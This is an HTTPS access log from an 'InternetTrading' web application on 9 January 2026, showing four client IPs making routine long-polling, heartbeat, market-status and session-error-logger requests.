[09/Jan/2026:10:04:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924532236 HTTP/1.1" -
[09/Jan/2026:10:04:08 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924517809 HTTP/1.1" -
[09/Jan/2026:10:04:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924518053 HTTP/1.1" -
[09/Jan/2026:10:04:12 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924524416 HTTP/1.1" -
[09/Jan/2026:10:04:13 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924522859 HTTP/1.1" -
[09/Jan/2026:10:04:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924538237 HTTP/1.1" -
[09/Jan/2026:10:04:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924524052 HTTP/1.1" -
[09/Jan/2026:10:04:17 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924529553 HTTP/1.1" -
[09/Jan/2026:10:04:18 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924527899 HTTP/1.1" -
[09/Jan/2026:10:04:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924544225 HTTP/1.1" -
[09/Jan/2026:10:04:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924530051 HTTP/1.1" -
[09/Jan/2026:10:04:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:23 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924534730 HTTP/1.1" -
[09/Jan/2026:10:04:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924532916 HTTP/1.1" -
[09/Jan/2026:10:04:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:24 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924550227 HTTP/1.1" -
[09/Jan/2026:10:04:27 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924536053 HTTP/1.1" -
[09/Jan/2026:10:04:28 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924539859 HTTP/1.1" -
[09/Jan/2026:10:04:28 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924537949 HTTP/1.1" -
[09/Jan/2026:10:04:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:30 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:32 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:32 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924556233 HTTP/1.1" -
[09/Jan/2026:10:04:33 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924542053 HTTP/1.1" -
[09/Jan/2026:10:04:33 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924544977 HTTP/1.1" -
[09/Jan/2026:10:04:33 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924542985 HTTP/1.1" -
[09/Jan/2026:10:04:38 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924550009 HTTP/1.1" -
[09/Jan/2026:10:04:38 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924562229 HTTP/1.1" -
[09/Jan/2026:10:04:38 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924548010 HTTP/1.1" -
[09/Jan/2026:10:04:39 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924548051 HTTP/1.1" -
[09/Jan/2026:10:04:43 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924555142 HTTP/1.1" -
[09/Jan/2026:10:04:43 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924553054 HTTP/1.1" -
[09/Jan/2026:10:04:44 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924568224 HTTP/1.1" -
[09/Jan/2026:10:04:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:45 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:45 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924554051 HTTP/1.1" -
[09/Jan/2026:10:04:48 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924560352 HTTP/1.1" -
[09/Jan/2026:10:04:49 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924558108 HTTP/1.1" -
[09/Jan/2026:10:04:50 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924574229 HTTP/1.1" -
[09/Jan/2026:10:04:51 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924560052 HTTP/1.1" -
[09/Jan/2026:10:04:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:53 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:54 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924563134 HTTP/1.1" -
[09/Jan/2026:10:04:54 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924565644 HTTP/1.1" -
[09/Jan/2026:10:04:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:04:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:04:55 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:04:56 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924580236 HTTP/1.1" -
[09/Jan/2026:10:04:57 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924566067 HTTP/1.1" -
[09/Jan/2026:10:04:59 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924568171 HTTP/1.1" -
[09/Jan/2026:10:04:59 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924570819 HTTP/1.1" -
[09/Jan/2026:10:05:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:02 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:02 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924586236 HTTP/1.1" -
[09/Jan/2026:10:05:03 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924572052 HTTP/1.1" -
[09/Jan/2026:10:05:04 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924573205 HTTP/1.1" -
[09/Jan/2026:10:05:04 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924575937 HTTP/1.1" -
[09/Jan/2026:10:05:08 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924592235 HTTP/1.1" -
[09/Jan/2026:10:05:09 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924578252 HTTP/1.1" -
[09/Jan/2026:10:05:09 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924581062 HTTP/1.1" -
[09/Jan/2026:10:05:09 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924578052 HTTP/1.1" -
[09/Jan/2026:10:05:14 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924583306 HTTP/1.1" -
[09/Jan/2026:10:05:14 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924586128 HTTP/1.1" -
[09/Jan/2026:10:05:14 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924598225 HTTP/1.1" -
[09/Jan/2026:10:05:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:15 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/MarketStatus HTTP/1.1" 772
[09/Jan/2026:10:05:15 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924584051 HTTP/1.1" -
[09/Jan/2026:10:05:19 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924588354 HTTP/1.1" -
[09/Jan/2026:10:05:19 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924591249 HTTP/1.1" -
[09/Jan/2026:10:05:20 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924604228 HTTP/1.1" -
[09/Jan/2026:10:05:21 +0800] 163.125.190.202 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/53995?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924590051 HTTP/1.1" -
[09/Jan/2026:10:05:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/SessionErrorLogger HTTP/1.1" 117
[09/Jan/2026:10:05:23 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "POST /InternetTrading/Heartbeat HTTP/1.1" 32
[09/Jan/2026:10:05:24 +0800] 58.152.215.40 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/55136?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924593387 HTTP/1.1" -
[09/Jan/2026:10:05:24 +0800] 14.0.153.113 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/A8127?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924596409 HTTP/1.1" -
[09/Jan/2026:10:05:26 +0800] 119.136.153.211 TLSv1.2 ECDHE-RSA-AES128-GCM-SHA256 "GET /InternetTrading/longpoll/51803?X-Atmosphere-tracking-id=0&X-Atmosphere-Framework=2.2.3-javascript&X-Atmosphere-Transport=long-polling&X-Atmosphere-TrackMessageSize=true&Content-Type=charset%3Dutf-8&X-atmo-protocol=true&_=1767924610229 HTTP/1.1" -
